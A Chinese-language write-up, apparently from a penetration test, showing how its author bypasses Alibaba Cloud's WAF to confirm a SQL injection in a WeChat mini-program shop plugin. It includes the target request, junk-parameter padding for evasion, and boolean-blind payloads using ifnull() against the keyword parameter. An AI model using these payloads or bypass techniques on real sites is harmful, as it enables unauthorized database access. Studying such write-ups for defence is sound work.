【奇淫巧技】Bypass阿里雲注入

序言

我:摸魚一時爽,一直摸魚一時爽啊:relieved:
大佬:還摸魚,快來搞個注入。
我:。。。

拿到數據包

GET /wxapp.php?i=undefined&t=undefined&v=undefined&from=wxapp&c=entry&a=wxapp&do=index&m=lionfish_comshop&sign=9cc540f4c25c15a1a30ae983d9f28c5d&controller=index.load_condition_goodslist&token=6e4f1c83854ca18c8e4858170a559305&pageNum=1&head_id=550.0and+(CONNECTION_ID()+like+'1')&keyword=a&type=0&good_ids=&gid=0 HTTP/1.1
Host: www.xxx.com
Connection: close
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36 MicroMessenger/7.0.9.501 NetType/WIFI MiniProgramEnv/Windows WindowsWechat
content-type: application/x-www-form-urlencoded

這不是已經payload都有了么,有啥問題么,burp走起

 

 好吧,原來是阿里雲waf,開搞,大佬說要出數據證明注入。

0x01 判斷數據庫

既然注入點已經有了,先看看是啥數據庫唄,結果嘗試好多函數全都GG,user()、user、length()、len()、if全被攔,一攔一個準。。
既然常規函數不得行,那隨便搞個函數看看:
payload:

550.0and+(1()+like+'1')

 

 誒嘿,報錯了,MySQL數據庫。
知道是啥數據庫,那就好辦了。

0x02 繞waf

既然是MySQL數據庫,那就可以開始構造條件判斷了,可是把筆記里的payload一頓梭,全都被waf攔了,居然沒一個能用的,只能找找看有沒有什麼騷姿勢了,於是,,,
有啥不懂問度娘:

//cloud.tencent.com/developer/article/1592593

 

 這篇文章提到可以用垃圾數據進行混淆,測試一下,我們這個站POST提交也可以,於是開搞。
打開sublime,複製粘貼運行,200個垃圾數據鍵值對就出來了,複製到burp,wtf?還是被攔了。
難道是鍵值對太少了?繼續,忘了複製粘貼多少次了,後面測試的時候length()居然可以了。(前面一直被攔)
payload:

550.0 and+(length(1)+like+'1')

 

 說明垃圾數據生效了,繼續

0x03 更換參數

既然waf也繞過了,也就繼續構造條件判斷語句。可是。。。
後面發現不管語句判斷正確與否,只要語法是正確的,返回結果都是一樣的。
於是查看原先的參數,發現keyword參數才是查詢的字段,會影響查詢返回內容。

keyword=a

 

 

keyword=b

 

 於是對keyword參數進行注入。
payload:

keyword=a'

返回內容中得到SQL語句:

%' and gc.begin_time 1603364903 and g.total > 0

也就是注入點是在like查詢中。

 

 payload:

a%25'or+length(1)=' 返回所有
a%25'and+length(1)=' 返回空

0x04 條件判斷

找到可構造的點,開始構造條件判斷
這裡重新試了其他函數:if、case、user()、current_user也不行,還是會被攔,搞不懂。:weary:
payload:

a%25'or+ifnull(user()%20like'n%25',1)='%

 

 後面發現ifnull不會被攔。

a%25'or+ifnull('ra'like'r%25',1)='% true
a%25'or+ifnull('1ra'like'r%25',1)='% false

根據返回內容長度判斷條件查詢成功。
條件ture的時候返回長度為:4027
條件false的時候返回長度為:3886
繼續fuzz:然後在刪掉括號時發現報錯為字段錯誤
payload:

a%25'or+ifnull(user%20like'n%25',1)='%

 

 看到這個,想起cha牛說的可以用數據庫中原本的數據來判斷SQL注入,於是對字段進行爆破:
(參數字典可以用自己的也可以搜集這個站的參數進行爆破)

 

 這裡第一個price嘗試的時候啥都沒變化,於是換了第二個參數type

 

 

這裡爆破的時候發現返回數據長度跟在repeat的時候不一樣,經常在repeat模塊驗證,得到type的第一個字母為n,於是先判斷type的長度為多少。
直接手工測試,因為爆破出來的結果很奇怪無法判斷。(玄學)

payload:

a%25'or+ifnull/**/(length(type)=6,1)='%

還好長度不長,只試到6就出來了。
接着繼續爆破type的後5位(純手工。。。)
得到最終結果:tyep=normal

最終payload:

a%25'or+ifnull(type='normal',1)='%

 

 

到這裡就成功繞過阿里雲waf,利用數據庫原有的數據證明該注入存在且可利用了。

尾聲

我:完事,來一支事後煙。
我:忘了我不抽煙了。
我:繼續摸魚

 

笨鳥先飛早入林,笨人勤學早成材。

轉載請註明出處:
撰寫人:fox-yu  //www.cnblogs.com/fox-yu/